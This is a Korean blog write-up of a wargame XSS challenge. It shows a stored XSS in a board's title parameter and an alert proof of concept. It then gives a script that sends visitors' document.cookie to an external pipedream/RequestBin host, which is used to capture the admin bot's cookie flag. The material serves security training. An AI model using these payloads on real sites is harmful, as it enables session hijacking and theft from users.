본문 바로가기

WarGame/SegFault

XSS 1

문제 정보

1. XSS 포인트

제공된 호스트의

"/xss_1/notice_list.php" 경로에서

작성한 데이터가 화면에 출력되어

XSS 취약점이 존재할 수 있는

게시판 페이지를 확인할 수 있었다.

2. 특수문자 필터링 확인하기

게시글을 작성할 수 있는

"/xss_1/notice_write.php" 페이지에서

XSS 공격에 사용할 수 있는 특수문자를 확인하기 위해

<'">

"/xss_1/notice_write_process.php" 페이지의

게시글의 제목과, 본문을 입력하는 파라미터에 위와 같은 특수문자를 넣어 글 작성 요청을 보냈다.

작성한 게시글을 읽을 수 있는

"/xss_1/notice_read.php" 페이지를 통해

게시글에 들어가 보니,

제목에는 필터링되는 특수문자가 없고,

본문에서는 <, > 특수문자가 각각 &lt, &gt로 필터링되고 있는 것을 볼 수 있다.

(* 제목 파라미터 XSS 포인트 확인)

3. 스크립트 삽입

<script>alert('XSS_test')</script>

자바스크립트를 이용해

POC 코드를 작성한 뒤

"/xss_1/notice_write_process.php" 페이지의

제목 파라미터에 삽입하여

게시글을 작성했다.

작성한 XSS 게시글에 들어가 보니,

게시글 제목 파라미터에 작성했던

자바스크립트 POC 코드가

"/xss_1/notice_read.php" 페이지에서 동작하면서

알림창이 뜨는 것을 볼 수 있다.

4. 예상 피해

  • 사용자 쿠키 탈취 : document.cookie
  • 사용자 개인정보 탈취 : keylogger
  • 악성코드 다운 & 실행
  • 피싱 사이트 강제 이동 : location.href

만약 공격자가 POC 코드 대신 위와 같은 악성 스크립트를 작성한다면

일반 사용자들이 해당 게시글을 읽을 때,

공격 스크립트가 사용자의 웹 브라우저에서 동작해

피해가 발생할 것으로 보인다.

5. 쿠키 탈취

https://public.requestbin.com/r/

Requestbin 페이지를 통해 공격자 서버(주소)를 만들어 준다.

<script>
// 게시글의 접근한 피해자의 쿠키 값 저장
var cookie = document.cookie;

// 이미지 태그 생성 # <img>
var i = new Image();

// 이미지를 가져오는 주소 값에 
// 공격자의 서버 주소를 넣고 
// 해당 요청을 보낼 때, 피해자의 쿠키를 get 요청으로 전송
i.src = "https://en88y0voes91u.x.pipedream.net?cookie="+cookie
</script>

완성된 공격자 주소를 이용하여, 쿠키를 탈취하는 자바스크립트를 작성한다.

게시글을 수정하는 "/xss_1/notice_update_process.php" 페이지를 통해

alert 스크립트 대신 작성해 둔 쿠키 탈취 스크립트로 변경한다.

이후 수정된 게시글에 접근하면

공격자의 서버에서 GET 요청으로 전달된 사용자의 세션 ID를 확인할 수 있다.

해당 게시글 주소를

관리자가 방문할 URL에 입력하면

관리자 봇이 해당 URL에 접근하게 되면서

공격자 서버에서 관리자의 쿠키 값인

FLAG가 출력되는 모습을 볼 수 있다.

'WarGame > SegFault' 카테고리의 다른 글

XSS 3  (1) 2024.06.14
XSS 2  (0) 2024.06.14
SQL Injection Point 4  (0) 2024.06.08
SQL Injection Point 3  (2) 2024.06.08
SQL Injection Point 2  (0) 2024.06.08